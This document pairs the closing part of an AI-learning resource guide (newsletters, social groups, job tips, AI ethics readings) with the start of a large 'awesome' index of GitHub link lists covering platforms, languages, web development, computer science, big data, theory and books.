* [Two Minutes Papers](https://www.youtube.com/user/keeroyz) - Bi-weekly videos covering new papers
* [Bycloud](https://www.youtube.com/channel/UCgfe2ooZD3VJPB6aJAnuQng) - Weekly videos covering new papers
* LinkedIn Groups
* [Artificial Intelligence, Machine Learning and Deep Learning News](https://www.linkedin.com/groups/8942343/) - News of the field shared by everyone in the group
* [Artificial Intelligence | Deep Learning | Machine Learning](https://www.linkedin.com/groups/45655/)
* [Applied Artificial Intelligence](https://www.linkedin.com/groups/127447/)
* Facebook Groups
* [Artificial Intelligence & Deep Learning](https://www.facebook.com/groups/DeepNetGroup) - The definitive and most active FB Group on A.I., Neural Networks and Deep Learning. All things new and interesting on the frontier of A.I. and Deep Learning. Neural networks will redefine what it means to be a smart machine in the years to come.
* [Deep learning](https://www.facebook.com/groups/DeepLearnng/) - Nowadays society tends to be soft and automated evolving into the 4th industrial revolution, which consequently drives the constituents into the swirl of societal upheaval. To survive or take a lead one is supposed to be equipped with associated tools. Machine is becoming smarter and more intelligent. Machine learning is inescapable skill and it requires people to be familiar with. This group is for these people who are interest in the development of their talents to fit in.
* Newsletters
* [Synthetic Mind: Get Smarter on Artificial Intelligence](https://www.syntheticmind.io/subscribe?ref=EFowuebnlZ) to get daily updates on AI news.
* [Synced AI TECHNOLOGY & INDUSTRY REVIEW](https://syncedreview.com/) - China's leading media & information provider for AI & Machine Learning.
* [Inside AI](https://inside.com/ai) - A daily roundup of stories and commentary on Artificial Intelligence, Robotics, and Neurotechnology.
* [AI Weekly](http://aiweekly.co/) - A weekly collection of AI News and resources on Artificial Intelligence and Machine Learning.
* [AI Ethics Weekly](https://lighthouse3.com/newsletter/) - The latest updates in AI Ethics delivered to your inbox every week.
* [What's AI Weekly](https://louisbouchard.substack.com/) - One and only one paper clearly explained weekly with an article, video demo, demo, code, etc.
* [Data Science Dojo Newsletter](https://datasciencedojo.com/newsletter/) - Get the latest Data Science content in your inbox
* [Toward's AI newsletter](https://towardsai.net/ai/newsletter) - Summarizing the most interesting news and learning resources weekly as well as community updates from the Learn AI Together Discord community. Perfect for ML professionals and enthusiasts.
* Follow Medium accounts and publications
* [Towards Data Science](https://towardsdatascience.com/) - "Sharing concepts, ideas, and codes"
* [Towards AI](https://medium.com/towards-artificial-intelligence) - "The Best of Tech, Science, and Engineering."
* [OneZero](https://onezero.medium.com/) - "The undercurrents of the future. A Medium publication about tech and science."
* [What's AI](https://whats-ai.medium.com/) - "Hi, I am Louis (loo·ee, French pronunciation), from Montreal, Canada, also known as "What's AI". I try to share and explain artificial intelligence terms and news the best way I can for everyone. My goal is to demystify the AI “black box” for everyone and sensitize people about the risks of using it."
* Check this complete GitHub guide to keep up with AI News
* [BAILOOL/DoYouEvenLearn](https://github.com/louisfb01/DoYouEvenLearn) - Essential Guide to keep up with AI/ML/DL/CV
## Find a machine learning job<a name="findajob"></a>
* Read [this section from the article](https://www.louisbouchard.ai/learnai/#how-to-find-a-job) full of interview tips and **how to prepare for them**.
* Learn how the interview process goes and getting better at preparing for them by watching how others did it, like the [interview series](https://youtube.com/playlist?list=PLO4GrDnQanVfrRIuIT_1rlLLTgQJdfXmS) I ran with experts from NVIDIA, Zoox (Self-driving company), D-ID (Generative AI Startup), etc.
## AI Ethics<a name="aiethics"></a>
* [What are Ethics and Why do they Matter? Machine Learning Edition](https://www.youtube.com/watch?v=F0cxzESR7ec&list=PLtmWHNX-gukIU6V33Bc8eP8OD41I4GywR&ab_channel=RachelThomas) - by Rachel Thomas, founder of fast.ai
* [AI4People—An Ethical Framework for a Good AI Society: Opportunities, Risks, Principles, and Recommendations](https://link.springer.com/content/pdf/10.1007/s11023-018-9482-5.pdf) - Floridi et al., 2018, AI4People AI for a good society
* [Ethics guidelines for trustworthy AI](https://wayback.archive-it.org/12090/20210728013426/https://digital-strategy.ec.europa.eu/en/library/ethics-guidelines-trustworthy-ai) - European Commission high-level expert group 7 points for a trustworthy AI.
* [An Introduction to Ethics in Robotics and AI](https://link.springer.com/book/10.1007/978-3-030-51110-4) - a free e-book by Christoph Bartneck, Christoph Lütge, Alan Wagner, and Sean Welsh.
---
***Tag me on Twitter [@Whats_AI](https://twitter.com/Whats_AI) or LinkedIn [@Louis (What's AI) Bouchard](https://www.linkedin.com/in/whats-ai/) if you share the list!***
👀 **If you'd like to support my work**, you can check to [Sponsor](https://github.com/sponsors/louisfb01) this repository or support me on [Patreon](https://www.patreon.com/whatsai). You can also support me by following my favorite [daily AI newsletter](https://www.syntheticmind.io/subscribe?ref=EFowuebnlZ) to get frequent updates on new papers like those!. Thank you, and let me know if I missed any good resources!
This guide is still regularly updated.
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## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/inputsh/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
- [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s.
- [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/inputsh/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/dlang-community/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
- [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.
- [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
